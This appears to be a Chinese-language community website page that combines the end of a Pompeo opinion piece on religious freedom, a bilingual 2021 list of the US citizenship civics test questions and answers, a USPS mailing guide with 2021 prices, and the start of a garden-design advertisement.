在中国新疆省,数百万维吾尔族穆斯林被关押在奥威尔式集中营中,他们的基本尊严被否认。在中国其他地区,基督教信徒只被允许在中国共产党认可和监督的教堂里朝拜。任何拒绝宗教自由的国家都无法以其他方式宣称自己是善的。未出生的生命也必须受到保护。因此,我们加强了墨西哥城政策,以确保国际组织不使用任何美国税金进行堕胎。堕胎不是人权;这需要人类的生命。

为了解决世界各地对宗教自由的攻击,我连续三年召集部长级会议,以推进宗教自由(ACLJ参加了这些活动)。这是国务院有史以来最大的人权事件。部长汇聚了来自世界各地的领导人,讨论威胁宗教自由的问题,并共同寻求解决方案。事实证明,宗教自由对全世界许多人都很重要,这是美国可以而且必须领导的问题。

正如弥迦所说的那样,我们被称为“公正行事,热爱怜悯,谦卑的与上帝同行。” 我在美国法律与正义中心所做的工作是我致力于宗教自由和促进支持家庭的政策的重要组成部分,并承认在我们的公共场所信仰不仅合法,而且是必要的。有很多工作要做。通过实施有效的宣传,教育和诉讼策略来支持ACLJ在法律,立法和文化问题上的努力,是维护我们国家最美好事物的重要组成部分。

彭培奥(Mike Pompeo)是前国务卿兼中央情报局(CIA)的前局长

2021-04-15 / by / in , ,
收藏起来!2021公民归化入籍考试 最新拜登版100题与答案(中英文对照)
文|无疆行者

2021年2月22日,美国移民局USCIS宣布,在2021年3月1日当天或之后提交的公民归化入籍申请者将使用2008年公民入籍100题测试。2020年新版本的128题将于2021年4月19日被淘汰。详情请前往USCIS官方网站>>

公民测验是口试,由USCIS主考官向申请人提问100道公民试题中的10道。 申请人必须从10道中正确回答6道才能通过入籍归化的公民测验部分。

在公民入籍考试中,有些问题的答案会因选举或任命结果而改变。 当您学习考题时,请务必确定您知道该类试题的最新答案。 当您到美国公民及移民服务局(USCIS)接受公民入籍面试时,您需要回答当时在位任职的政府官员之姓名。 美国公民及移民服务局的面试官将不会认可错误的答案。

公民测试50/20和55/15豁免规则:

申请人年满50岁、且以永久居民(绿卡)身份在美国生活20年以上; 或年满55岁、且以绿卡身份在美国生活15年以上,可选择母语中文参加公民考试, 需自带中英文流利的翻译。

⼀、AMERICAN GOVERNMENT 美国政府

A. Principles of American Democracy 美国民主原则

1. What is the supreme law of the land? 美国的最⾼法律是什么?
答:The Constitution 宪法

2. What does the Constitution do? 宪法的作⽤是什么?
• Sets up the government 建⽴政府体制 • Defines the government 定义政府 • Protects basic rights of Americans 保护美国⼈的基本权利

3. The idea of self-government is in the first three words of the Constitution. What are these words? 宪法的前三个字说明⾃治的概念 。这三个字是什么?
答:We the People 我们⼈民

4. What is an amendment? 什么是修正案?
• A change (to the Constitution) 宪法的更正 • An addition (to the Constitution) 宪法的补充

5. What do we call the first ten amendments to the Constitution? 宪法的前⼗项修正案称为什么?
答:The Bill of Rights 权利法案

6*. What is one right or freedom from the First Amendment? 列举第⼀条修正案中的⼀项权利或⾃由 。
• Speech ⾔论⾃由
• Religion 宗教⾃由
• Assembly 集会结社的⾃由
• Press 出版⾃由
• Petition the government 向政府请愿的权利

7. How many amendments does the Constitution have? 宪法有⼏条修正案?
答:Twenty-seven (27)(27 条)

8. What did the Declaration of Independence do? 「独⽴宣⾔」的作⽤是什么?
• Announced our independence (from Great Britain) 宣布美国脱离英国独⽴
• Declared our independence (from Great Britain) 宣告美国脱离英国独⽴
• Said that the United States is free (from Great Britain) 表⽰美国脱离英国独⽴

9. What are two rights in the Declaration of Independence? 列举「独⽴宣⾔」中的两项权利 。
• Life ⽣命的权利
• Liberty ⾃由的权利
• Pursuit of happiness 追求幸福的权利

10. What is freedom of religion? 什么是宗教⾃由?
答:You can practice any religion, or not practice a religion. 你可以信仰任何宗教,也可不信任何宗教 。

11*. What is the economic system in the United States? 美国的经济制度是什么? • Capitalist economy 资本主义经济
• Market economy 市场经济

12. What is the “rule of law”? 「法治」是什么?
• Everyone must follow the law. ⼈⼈都应遵守法律
• Leaders must obey the law. 领导⼈必须遵守法律
• Government must obey the law. 政府必须遵守法律
• No one is above the law. 没有任何⼈在法律之上

B. System of Government 政治体制

13*. Name one branch or part of the government. 列举政府体制的⼀个分⽀或部门 。
• Congress 国会
• Legislative ⽴法部门
• President 总统
• Executive ⾏政部门
• The courts 法院
• Judicial 司法部门

14. What stops one branch of government from becoming too powerful? 什么防⽌⼀个政府分⽀变得过于强⼤?
• Checks and balances 制衡
• Separation of powers 权⼒分⽴

15. Who is in charge of the executive branch? 谁负责⾏政部门?
答:The President 总统

16. Who makes federal laws? 谁制定联邦法律?
• Congress 国会
• Senate and House (of Representatives) 参议院及众议院
• (U.S. or national) legislature 美国/国家⽴法部门

17*. What are the two parts of the U.S. Congress? 美国国会由哪两个部分组成? 答:The Senate and House (of Representatives) 参议院与众议院

18. How many U.S. Senators are there? 美国参议员有⼏位?
答:One hundred (100) (100 位)

19. We elect a U.S. Senator for how many years? 我们选出的美国参议员任职多少年?
答:Six (6) (6年)

20*. Who is one of your state’s U.S. Senators now? 列举您所在州⼀位现任美国参议员名字。
Answers will vary. [District of Columbia residents and residents of U.S. territories should answer that D.C. (or the territory where the applicant lives) has no U.S. Senators.] 答案依所在 州不同⽽异 。〔住在 DC 和美国领⼟的居民可答:DC(或应试居民所在领地)没有美国参议 员 。〕

21. The House of Representatives has how many voting members? 众议院有多少议员?
答:Four hundred thirty-five (435)(435位)

22. We elect a U.S. Representative for how many years? 我们选出的美国众议员任职多少年?
答:Two (2)(2年)

23. Name your U.S. Representative. 列举您所在选区⼀位美国众议员的名字 。 Answers will vary. [Residents of territories with nonvoting Delegates or Resident Commissioners may provide the name of that Delegate or Commissioner. Also acceptable is any statement that the territory has no (voting) Representatives in Congress.] 答案依所在州不 同⽽异 。〔住在没有投票权的美国领地当地代表或专员之应试者可以说明当地代表或专员的姓 名 。说明⾃⼰选区没有国会(投票)代表也是可接受的答案 。〕

24. Who does a U.S. Senator represent? 美国参议员代表何⼈?
答:All people of the state 其所在州的所有⼈民

25. Why do some states have more Representatives than other states? 为什么有些州的众议员⼈数⽐其他州多?
• (Because of) the state’s population 由于该州的⼈口
• (Because) they have more people 由于该州有更多⼈口
• (Because) some states have more people 由于该州的⼈口⽐其他州多

26. We elect a President for how many years? 我们选出的总统任职多少年?
答:Four (4)(4年)

27*. In what month do we vote for President? 我们在哪⼀个⽉选总统?
答:November ⼗⼀⽉

28*. What is the name of the President of the United States now? 现任美国总统的名字是什么?
• Joe Biden 乔•拜登 • Biden 拜登

29. What is the name of the Vice President of the United States now? 现任美国副总统的名字是什么?
• Kamala Harris 卡马拉•哈⾥斯 • Harris 哈⾥斯

30. If the President can no longer serve, who becomes President? 如果总统不能视事,则由谁成为总统?
答:The Vice President 副总统

31. If both the President and the Vice President can no longer serve, who becomes President? 如总统副总统都不能视事,则谁成为总统?
答:The Speaker of the House 众议院议长

32. Who is the Commander in Chief of the military? 谁是三军统帅?
答:The President 总统

33. Who signs bills to become laws? 谁签署法案使之成为法律?
答:The President 总统

34. Who vetoes bills? 谁否决法案?
答:The President 总统

35. What does the President’s Cabinet do? 总统的内阁做什么事?
答:Advises the President 向总统提出建议

36. What are two Cabinet-level positions? 请列举两个内阁级别的职位。
• Secretary of Agriculture 农业部长
• Secretary of Commerce 商务部长
• Secretary of Defense 国防部长
• Secretary of Education 教育部长
• Secretary of Energy 能源部长
• Secretary of Health and Human Services 健康与⼈类服务部长
• Secretary of Homeland Security 国⼟安全部长
• Secretary of Housing and Urban Development 住宅与都市发展部长
• Secretary of the Interior 内政部长
• Secretary of Labor 劳⼯部长
• Secretary of State 国务卿
• Secretary of Transportation 交通部长
• Secretary of the Treasury 财政部长
• Secretary of Veterans Affairs 退伍军⼈事务部长
• Attorney General 司法部长
• Vice President 副总统

37. What does the judicial branch do? 司法部门做什么?
• Reviews laws 审查法律
• Explains laws 解释法律
• Resolves disputes (disagreements) 解决争议
• Decides if a law goes against the Constitution 决定某⼀法律是否牴触宪法

38. What is the highest court in the United States? 美国最⾼法院是什么?
答:The Supreme Court 联邦最⾼法院

39. How many justices are on the Supreme Court? 最⾼法院有⼏位⼤法官?
答:Nine (9)(9位)

40. Who is the Chief Justice of the United States now? 现任联邦⾸席⼤法官是谁?答:John Roberts (John G. Roberts, Jr.) 约翰-罗伯兹

41. Under our Constitution, some powers belong to the federal government. What is one power of the federal government? 根据我国宪法,有些权⼒属于联邦政府 ,请列举⼀项。
• To print money 印制钞票
• To declare war 宣战
• To create an army 创⽴军队
• To make treaties 签订条约

42. Under our Constitution, some powers belong to the states. What is one power of the states? 根据我国宪法,有些权⼒属于州政府 ,请列举⼀项。
• Provide schooling and education 提供教育
• Provide protection (police) 提供保护(警员)
• Provide safety (fire departments) 提供安全(消防局)
• Give a driver’s license 提供驾驶执照
• Approve zoning and land use 批准区划与⼟地使⽤

43. Who is the Governor of your state now? 您居住州的现任州长是谁?
Answers will vary. [District of Columbia residents should answer that D.C. does not have a Governor.] 答案依居住州不同⽽异 。〔哥伦⽐亚特区的居民应回答:「我们没有州长 。」〕

44*. What is the capital of your state? 您居住州的⾸府是哪⾥?
Answers will vary. [District of Columbia residents should answer that D.C. is not a state and does not have a capital. Residents of U.S. territories should name the capital of the territory.] 答案依居住州不同⽽异 。〔哥伦⽐亚特区居民应回答 DC 不是⼀个州,没有⾸府 。美国领地居 民应回答居住领地的⾸府 。〕

45*. What are the two major political parties in the United States? 请说出美国当今的两⼤政党。
答:Democratic and Republican 民主党与共和党

46. What is the political party of the President now? 现任总统属于哪个政党?
答:Democratic (Party) 民主党

47. What is the name of the Speaker of the House of Representatives now? 现任国会众议院议长的名字是什么?
• Nancy Pelosi 南希-佩洛西 • Pelosi 佩洛西

C. Rights and Responsibilities 权利与责任

48. There are four amendments to the Constitution about who can vote. Describe one of them. 宪法中有四个关于谁可以投票的修正案 ,请列举⼀个 。
• Citizens eighteen (18) and older (can vote). 18岁以上的公民可以投票。
• You don’t have to pay (a poll tax) to vote. 您投票不必缴钱/投票税。
• Any citizen can vote. (Women and men can vote.) 任何公民都可投票。男⼥都可投票。
• A male citizen of any race (can vote). 任何种族的男性公民都可以投票。

49*. What is one responsibility that is only for United States citizens? 列举⼀项美国公民才有的责任?
• Serve on a jury 当陪审员
• Vote in a federal election 在联邦选举中投票

50. Name one right only for United States citizens. 列举⼀项美国公民才享有的权利 。
• Vote in a federal election 在联邦选举中投票的权利
• Run for federal office 竞选公职的权利

51. What are two rights of everyone living in the United States? 列举每个住在美国的⼈都有的两项权利。
• Freedom of expression 表达⾃由
• Freedom of speech ⾔论⾃由
• Freedom of assembly 集会结社的⾃由
• Freedom to petition the government 向政府请愿的⾃由
• Freedom of worship (religion) 宗教⾃由
• The right to bear arms 持有武器的⾃由

52. What do we show loyalty to when we say the Pledge of Allegiance? 当我们宣誓效忠时,是向什么表达忠诚?
• The United States 美利坚合众国
• The flag 国旗

53. What is one promise you make when you become a United States citizen? 列举当您成为美国公民时做出的⼀项承诺。
• Give up loyalty to other countries 放弃效忠其他国家
• Defend the Constitution and laws of the United States 护卫美国的宪法及法律
• Obey the laws of the United States 遵守美国的法律
• Serve in the U.S. military (if needed) 必要时加⼊美国军队
Serve (do important work for) the nation (if needed) 必要时为国效劳、为国做重要⼯作
• Be loyal to the United States 效忠美国

54*. How old do citizens have to be to vote for President? 美国公民必须⼏岁才能投票选举总统?
答:Eighteen (18) and older (18岁以上)

55. What are two ways that Americans can participate in their democracy? 列举美国⼈参与民主政治的两种⽅法。
• Vote 投票 • Join a political party 加⼊政党
• Help with a campaign 协助竞选活动• Join a civic group 加⼊公民团体
• Join a community group 加⼊社区团体
• Give an elected official your opinion on an issue 向民选官员提供⾃⼰对某项议题的意见
• Call Senators and Representatives 拨电给参议员和众议员
• Publicly support or oppose an issue or policy 公开⽀持或反对某个议题或政策
• Run for office 竞选公职
• Write to a newspaper 向报社投函

56*. When is the last day you can send in federal income tax forms? 寄送联邦所得税表的截⽌⽇期是哪⼀天?
答:April 15 (每年4⽉15⽇)

57. When must all men register for the Selective Service? 所有男性多⼤年龄必须注册兵役登记?
• At age eighteen (18) (18岁)• Between eighteen (18) and twenty-six (26) (18-26岁之间)

⼆、AMERICAN HISTORY 美国历史

A. Colonial Period and Independence 殖民期与独⽴

58. What is one reason colonists came to America? 殖民者到美国的原因有哪些?列举⼀项。
• Freedom ⾃由
• Political liberty 政治⾃由
• Religious freedom 宗教⾃由
• Economic opportunity 经济机会
• Practice their religion 从事宗教活动
• Escape persecution 逃避迫害

59. Who lived in America before the Europeans arrived? 在欧洲⼈抵达之前谁在美国居住?
• American Indians 美国印地安⼈
• Native Americans 美国原住民

60. What group of people was taken to America and sold as slaves? 哪⼀群⼈被带到美国并被贩卖为奴?
• Africans ⾮洲⼈
• People from Africa 来⾃⾮洲的⼈

61. Why did the colonists fight the British? 殖民者为何与英国作战?
• Because of high taxes (taxation without representation) 因为⾼额税(只缴税,没有代表权)
• Because the British army stayed in their houses (boarding, quartering) 因为英国军队住在他们家内(寄宿、宿营)
• Because they didn’t have self-government 因为他们没有⾃治权

62. Who wrote the Declaration of Independence? 「独⽴宣⾔」是谁写的?
答:(Thomas) Jefferson 托马斯-杰佛逊

63. When was the Declaration of Independence adopted? 「独⽴宣⾔」是何时通过实施的?
答:July 4, 1776(1776年7⽉4⽇)

64. There were 13 original states. Name three. 美国原先有13个州 ,请列举其中3个 。
• New Hampshire 新罕布夏
• Massachusetts ⿇萨诸塞
• Rhode Island 罗德岛
• Connecticut 康乃狄克
• New York 纽约
• New Jersey 纽泽西
• Pennsylvania 宾⼣法尼亚
• Delaware 德拉⽡
• Maryland 马⾥兰
• Virginia 维吉尼亚
• North Carolina 北卡罗莱纳
• South Carolina 南卡罗莱纳
• Georgia乔治亚

65. What happened at the Constitutional Convention? 制宪会议达成了什么事?
• The Constitution was written. 拟定宪法 。
• The Founding Fathers wrote the Constitution. 开国诸贤拟定了宪法 。

66. When was the Constitution written? 宪法是何时拟定的?
答:1787(1787年)

67. The Federalist Papers supported the passage of the U.S. Constitution. Name one of the writers. 《联邦论》⽀持美国宪法的通过 。请列举《联邦论》的⼀名作者 。
• (James) Madison 詹姆⼠-麦迪森
• (Alexander) Hamilton 亚历⼭⼤-汉⽶尔顿
• (John) Jay 约翰-杰伊• Publius 普布利乌斯

68. What is one thing Benjamin Franklin is famous for? 列举⼀项本杰明-富兰克林的著名事迹。
• U.S. diplomat 美国外交官
• Oldest member of the Constitutional Convention 制宪会议年纪最长的成员
• First Postmaster General of the United States 美国第⼀任邮政总局局长
• Writer of “Poor Richard’s Almanac” 《穷⼈理查年鉴》的作者
• Started the first free libraries 开办第⼀个免费图书馆

69. Who is the “Father of Our Country”? 谁是「美国国⽗」?

答:(George) Washington 乔治-华盛顿

70*. Who was the first President? 谁是第⼀任总统? 答:(George) Washington 乔治-华盛顿

B. 1800s(1800 年代)

71. What territory did the United States buy from France in 1803? 美国在1803年向法国购买了哪块领地?
• The Louisiana Territory 路易⼠安纳领地
• Louisiana 路易⼠安纳

72. Name one war fought by the United States in the 1800s. 列举⼀场美国在1800年代参与的战争 。
• War of 1812(1812年战争)
• Mexican-American War 美墨战争
• Civil War 内战
• Spanish-American War 美国与西班⽛战争

73. Name the U.S. war between the North and the South. 请说出美国南⽅与北⽅之间战争的名称 。
• The Civil War 内战
• The War Between the States 州际战争

74. Name one problem that led to the Civil War. 列举⼀项导致内战的问题 。
• Slavery 奴⾪制度
• Economic reasons 经济原因
• States’ rights 各州的权利

75* What was one important thing that Abraham Lincoln did? 亚伯拉罕-林肯有哪些重要事迹?列举⼀项。
• Freed the slaves (Emancipation Proclamation) 解放奴⾪(《解放宣⾔》)
• Saved (or preserved) the Union 拯救(保留)联盟
• Led the United States during the Civil War 在内战期间引领美国

76. What did the Emancipation Proclamation do? 《解放宣⾔》有什么作⽤?
• Freed the slaves 解放了奴⾪
• Freed slaves in the Confederacy 解放了联邦制下的奴⾪
• Freed slaves in the Confederate states 解放了联邦各州的奴⾪
• Freed slaves in most Southern states 解放了南⽅⼤部分州的奴⾪

77. What did Susan B. Anthony do? 苏珊 B. 安东尼的事迹是什么?
• Fought for women’s rights 为⼥权奋⽃
• Fought for civil rights 为民权奋⽃

C. Recent American History and Other Important Historical Information 美国近代史与其他重要的历史资料

78*. Name one war fought by the United States in the 1900s. 列举⼀场美国在 1900 年代参与的战争 。
• World War I 第⼀次世界⼤战
• World War II 第⼆次世界⼤战
• Korean War 朝鲜战争
• Vietnam War 越战
• (Persian) Gulf War (波斯湾)海湾战争

79. Who was President during World War I? 第⼀次世界⼤战期间的美国总统是谁?
答:(Woodrow) Wilson 伍德罗-威尔逊

80. Who was President during the Great Depression and World War II? 美国经济⼤萧条和第⼆次世界⼤战期间的总统是谁?
答:(Franklin) Roosevelt 富兰克林-罗斯福

81. Who did the United States fight in World War II? 美国在第⼆次世界⼤战与哪些国家作战?
答:Japan, Germany, and Italy ⽇本、德国、意⼤利

82. Before he was President, Eisenhower was a general. What war was he in? 艾森豪威尔在当总统以前是将军 。他曾参加哪⼀场战争?
答:World War II 第⼆次世界⼤战

83. During the Cold War, what was the main concern of the United States? 在冷战期间,美国的主要顾虑是什么?
答:Communism 共产主义

84. What movement tried to end racial discrimination? 哪项运动试图结束种族歧视?
答:Civil rights (movement) 民权运动

85*. What did Martin Luther King, Jr. do? ⼩马丁-路德-⾦的事迹是什么?
• Fought for civil rights 为民权奋⽃
• Worked for equality for all Americans 为所有美国⼈争取平等

86. What major event happened on September 11, 2001, in the United States? 2001年9⽉11⽇发⽣了什么重⼤事件?
答:Terrorists attacked the United States. 恐怖份⼦攻击美国 。

87. Name one American Indian tribe in the United States. 列举⼀个美国印地安⼈部族 。 [USCIS Officers will be supplied with a list of federally recognized American Indian tribes.] 〔USCIS主考官将有联邦承认的美国印地安⼈部族清单 。〕
• Cherokee 切洛基
• Navajo 纳⽡荷
• Sioux 苏
• Chippewa 齐普⽡
• Choctaw 乔克陶
• Pueblo 布耶布洛
• Apache 阿帕契
• Iroquois 伊洛奎斯
• Creek 库瑞克
• Blackfeet 布雷克⾮特
• Seminole 赛⽶诺利
• Cheyenne 夏安
• Arawak 阿拉⽡克
• Shawnee 萧尼
• Mohegan 莫希根
• Huron 休伦
• Oneida 欧尼达
• Lakota 拉科塔
• Crow 克洛
• Teton 泰顿
• Hopi 贺⽪
• Inuit 伊努特

三、INTEGRATED CIVICS 综合公民

A. Geography 地理

88. Name one of the two longest rivers in the United States. 列举美国最长的两条河中的⼀条 。
• Missouri (River) 密苏⾥河
• Mississippi (River) 密西西⽐河

89. What ocean is on the West Coast of the United States? 美国西岸濒临什么海洋?
答:Pacific (Ocean) 太平洋

90. What ocean is on the East Coast of the United States? 美国东岸濒临什么海洋?
答:Atlantic (Ocean) ⼤西洋

91. Name one U.S. territory. 列举⼀个美国领地 。
• Puerto Rico 波多黎各
• U.S. Virgin Islands 美属维京群岛
• American Samoa 美属萨摩亚
• Northern Mariana Islands 北马⾥亚纳群岛
• Guam 关岛

92. Name one state that borders Canada. 列举⼀个与加拿⼤毗连的州 。
• Maine 缅因
• New Hampshire 新罕布夏
• Vermont 佛蒙特
• New York 纽约
• Pennsylvania 宾⼣法尼亚
• Ohio 俄亥俄
• Michigan密西根
• Minnesota 明尼苏达
• North Dakota 北达科他
• Montana 蒙⼤拿
• Idaho 爱达荷
• Washington 华盛顿
• Alaska 阿拉斯加

93. Name one state that borders Mexico. 列举⼀个与墨西哥毗连的州 。
• California 加利福尼亚
• Arizona 亚利桑那
• New Mexico 新墨西哥
• Texas 德克萨斯

94* What is the capital of the United States? 美国的⾸都在哪⾥?
答:Washington, D.C. 华盛顿哥伦⽐亚特区

95*. Where is the Statue of Liberty? ⾃由⼥神像在哪⾥?
• New York (Harbor) 纽约/纽约港
• Liberty Island ⾃由岛[Also acceptable are New Jersey, near New York City, and on the Hudson (River).]〔回答纽泽西、纽约市附近、哈德逊河上也可以接受〕

B. Symbols 标志

96. Why does the flag have 13 stripes? 国旗上为什么有⼗三个条纹?
• Because there were 13 original colonies因为当初有⼗三个殖民地
• Because the stripes represent the original colonies 因为条纹代表当初的殖民地

97*. Why does the flag have 50 stars? 国旗上为什么有五⼗颗星星?

• Because there is one star for each state 因为⼀个州有⼀颗星
• Because each star represents a state 因为⼀颗星代表⼀个州
• Because there are 50 states 因为有五⼗个州

98. What is the name of the national anthem? 美国国歌的名称是什么?
答:The Star-Spangled Banner 星条旗之歌

C. Holidays 法定假⽇

99. When do we celebrate Independence Day?我们在哪一天庆祝独立纪念日? *
答:July4 7月4日

100*. When do we celebrate Independence Day? 我们在哪⼀天庆祝独⽴纪念⽇?
答:4-Jul(7⽉4⽇)100. Name two national U.S. holidays. 列举两个美国的法定假⽇ 。
• New Year’s Day 新年
• Martin Luther King, Jr. Day 马丁路德⾦的⽣⽇
• Presidents’ Day 总统⽇
• Memorial Day 国殇⽇
• Independence Day 美国国庆⽇
• Labor Day 劳动节
• Columbus Day 哥伦布⽇
• Veterans Day 退伍军⼈节
• Thanksgiving 感恩节
• Christmas 圣诞节


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2021-04-15 / by / in , , , , ,
2021最新美国邮局 USPS 寄信寄包裹详解
文|无疆行者

United States Postal Service(美国邮政/邮局),简称USPS。最早可以追溯到 1775 年,发展到今天,已经快有250年的历史了。不管你是在美国境内邮寄、还是美国寄信寄包裹到中国, USPS一直都是很多华人朋友的首选。

今天小编为大家详细介绍,美国邮局USPS寄件的邮寄方式、流程、邮资、常见的问题、以及包括的其他服务。

一、寄信流程

以寄 Certified Mail 为例,假设今天要寄的是境内给移民局的文档,背景如下:

不是太急,但我想在3天内寄达,没有信封 –> 拿 Priority Mail Flat Rate 信封(邮资已含)

由于是重要文档,希望能确认顺利寄到 –> 选择 Certified Mail
保险起见,要求签名回条 –> 加选 Return Receipt

寄送流程 >>>

1. 先拿一份 Priority Mail Flat Rate 合适尺寸的信封,把文档放进去。

2. 在边上自助台拿绿色 Certified Mail Receipt(填收件人地址就好)以及 Return Receipt(填寄件人地址)

3. 填好之后就排队。由邮局人员检查、收费、并把以上数据都贴好后寄出。

4. 邮资计算:$7.95 (Priority Mail Flat Rate) + $3.6 (Certified Mail) + $1.75 (电子版 Return Receipt) = $13.3

更直接的方法:完成 Step 1 后直接排队,告诉邮局人员这是重要文档,通常邮局员工都会建议你可加购哪些服务,临柜填写手续一并办理即可。

二、美国邮局USPS常用的5种邮寄方式

1. First-Class Mail(平信)

适用种类:重要性普通的轻薄信件和小包裹

邮寄速度:1-3个工作天

提供邮件查找 (Tracking):无

重量限制:普通信封3.5盎司 (差不多99g-100g)、大信封和包裹13盎司 (差不多368g)

一般普通信件(stamped, 贴邮票)$0.55*-$1.15
一般普通信件(metered, 邮资机)$0.51-$1.11
明信片$0.36(一张 Postcard 邮票的邮资)
大信封 $1.00-$3.40
包裹 $3.01-$5.98

*$0.55是目前一张 Forever 邮票的邮资。Forever 邮票面额为 1oz 以内的境内平信邮资,价值会随邮局规定而变动。比如之前 Forever 邮票一张 50cent,但现在 1oz 平信邮资涨到 55cent,仍然只需要贴一张就好(邮局会认 Forever)不需要另外补 5cent。

另外也有 Global Forever 适用于国际平信,1oz 以下信件只要一张 Global Forever 邮票即可,可寄到世界各地。

是否能送国际信件?(便宜)

可以,可寄送信件和最重 64oz 的大信封和包裹。邮寄速度不固定,个人经验是最快7个工作日可送达。收费方式以重量与目的地计价,通常明信片和 1oz 以下的普通信件的邮资只要$1.20,即一张。

(Pixabay)

2. Priority Mail(快递)

适合种类:较急的信件和包裹

邮寄速度:1-3个工作天

提供邮件查找 (Tracking):是

有无保险:有保险,保险金额可能是50美元或100美元,具体取决于邮资的付款方式

重量限制:70磅 (约31.75公斤),最大组合长度和周长 (周长是最厚部分周围的距离) 为108英寸

(1) 不秤重的固定收费 (Flat Rate):需到邮局购买 Flat Rate (统一价格) 信封/箱子,这种 Flat Rate 信封/箱子已连同邮资计算进去。

普通信封 ( Flat Rate Envelopes 12-1 / 2“ x 9-1 / 2”或更小):$7.95
法律文档信封 (Legal Flat Rate Envelope):$8.25
软垫信封 (Padded Flat Rate Envelope):$8.55
小箱子 (Small Flat Rate Box):$8.45
中箱子 (Medium Flat Rate Box):$15.50
大箱子 (Large Flat Rate Box):$21.90
APO/FPO/DPO大箱子 (APO/FPO/DPO Large Flat Rate Box):$20.40

(2) 按远近+重量收费:若使用自己的信封/箱子,则视重量和邮寄地区来计价。

是否能从美国寄信或包裹到中国?(贵)

可以。可寄送信件和包裹,寄送时间约6-10个工作天。
Flat Rate 信封/箱子 (最高限重4 lbs.):$28.5

小箱子 (Small Flat Rate Priced Boxes 最高限重4 lbs.):$29.55
中箱子 (Medium Flat Rate Box 最高限重20 lbs.):$54.65
大箱子 (Large Flat Rate Box 最高限重20 lbs.):$71.05

另外也可以用自己的信封/箱子,以重量和邮寄地区计价。国际 Priority Mail 的保险最高可赔偿$200。

3. Priority Mail Express(隔夜快递)

(Unsplash/Matthew T Rader)

适用种类:很急的信件和包裹

邮寄速度:最快的国内邮寄服务,通常隔天就到(主要地区还可加价要求在隔天早上10点半前寄到,或周日或假日寄到)

提供邮件查找 (Tracking):是

需收件人签收:是(若寄件人要求)

有无保险:有保险,具体取决于邮资的付款方式

重量限制:70磅 (约31.75公斤),最大组合长度和周长 (周长是最厚部分周围的距离) 为108英寸

(1) 不秤重的固定收费 (Flat Rate),需到邮局购买 Flat Rate(统一价格)信封:这种 Flat Rate 信封已连同邮资计算进去。

平信 (Flat Rate Envelope):$26.35
法律文档 (Legal Flat Rate Envelope):$26.50
软垫信封 (Padded Flat Rate Envelope):$26.95

(2) 按远近+重量收费:若使用自己的信封/箱子,则视重量和邮寄地区来计价。

是否能从美国寄信或包裹到中国?

可以。可寄送信件和包裹,寄送时间约3-5个工作天,最近受到新冠疫情影响,寄送速度也会相对来说慢了一点。也是有 Flat Rate 信封/箱子(最高限重4 lbs.),起价$45.95;另外也可以用自己的信封/箱子,以重量和邮寄地区计价。国际 Priority Mail Express 的保险最高可赔偿$200。

4. USPS Retail Ground(即早期的 Standard Post)

(usps.com)

适合种类:不急的较重包裹

邮寄速度:2-8个工作天

提供邮件查找 (Tracking):是

重量限制:无论邮件的尺寸大小如何,任何邮件的最大可邮寄重量均为70磅。长度和周长的总和可能不超过130英寸 (但将收取超尺寸的价格)

收费方式:视重量和邮寄地区来计价,最便宜$7.70起,且必须亲自到邮局办理。

5. Global Express Guaranteed(国际快递)

适合种类:很急的国际包裹

邮寄速度:1-3个工作天

提供邮件查找 (Tracking):是

有保险:是,最多$100

重量限制:最大重量为70磅 (约31.75公斤),最大总长度和周长为108英寸。最大长度为46英寸,高度为46英寸,宽度为35英寸。

收费方式:与 FedEx 合作,视重量和邮寄地区来计价,最便宜$67.80起

注:无论境内或境外,若没有在承诺时间寄到,可以要求退款。

三、永久邮票 Forever Stamp

(flickr/ehpien)

除了普通有具体面额的邮票以外,美国还有一种“ Forever stamp”永久邮票(现价$0.55),这种邮票并没有面额,我们平时寄平信如果重量不超过1oz,贴一张forever邮票就可以了,非常方便。

Forever邮票的价值永远保持在当前1oz或以下的平信邮资,并且永不过期。这种批量的forever邮票在一般的便利店、加油站、超市、办公用品店、Costco等等地方都有,只要问收银员就能买到。

但是如果信件重量超过1oz,那么按实际重量计算邮资可能会比贴多张forever邮票更划算一些。比如说,1oz以下的信邮资是$0.55,每增加1oz重量加$0.15。

四、国际邮寄/美国寄包裹回中国

USPS提供国际邮寄服务,最快捷的是 Global Express Guaranteed(简称GXG),根据目的地确保在1-3个工作日内送达,有全方位追踪和退款保证,包含$100保险额,邮费$67.80起。

而次一级的 Priority Mail Express International可以在3-5个工作日内送达,同样有追踪、邮寄中国有退款保证和$100文件/$200货物的保险额,邮费$44.00起。

Priority Mail International 需要6-10个工作日,但没有退款保证,邮费$25.85起。Priority的快递寄到中国后会由国内的EMS接手投递,可以在USPS或者EMS网站查到tracking信息。

4磅以下、价值$400以下的小包裹也可以选择 First-Class Package International,包含电子送达确认,邮费$10.50起。

国际平邮信件价格$1.15起,如果经常寄1oz以下国际平信,可以多买一些Global Forever邮票。

五、美国邮局的其他服务

● 办理或更新美国护照

拿到公民纸之后可以到邮局申请美国护照,建议先电话预约办理。

● 买汇票 (Money Orders)

可用现金、现金卡 (Debit Card) 或旅行支票到美国邮局临柜购买,金额上限$1000,并酌收手续费,$500以下手续费。国际Money Orders面值最多$700。适合无支票帐户的人使用,而且上面无银行消息,可确保隐私。

(usps.com)

● 租赁个人邮箱(P.O.Box)服务,门店或USPS官网都可办理。

●加价服务:挂号信/挂号邮件与保险

1. Registered Mail 挂号信/挂号邮件

Registered Mail 会被严谨处理,寄件人持有追踪号码可时时追踪,每移交到哪一站、哪个人员处理都一清二楚,所以适用内容物价值高的包裹。

有无保险:有保险,对于在美国邮政局保管中丢失,损坏或缺少内容的商品,保险最多可提供5,000美元的保险

手续费:$12.90 起,视申报的包裹价值而定

2. Hold for Pickup 自行取包裹

包裹会送到指定邮局,让收件人自行来取。如果寄送较贵重且易坏的物品,可以选择这种寄送方式。

💡需要注意的是,最近受到疫情的影响,信件和包裹的寄送速度都有可能会受到影响,建议大家寄之前再跟 USPS 确认一下哦!

 

2021-04-14 / by / in , , ,
庭院景观设计方案,华人喜欢的庭院设计特点,自然宁静风格成为时尚。

庭院设计方案,华人喜欢的庭院设计特点,自然宁静风格成为时尚。

(纽约鑫创庭院设计公司推荐)

纽约市的房地产市场举世闻名,吸引来自全球的买家,他们选择在纽约大都会宅院是什么样呐。下面是纽约鑫创庭院设计公司,裴先生的介绍。

 

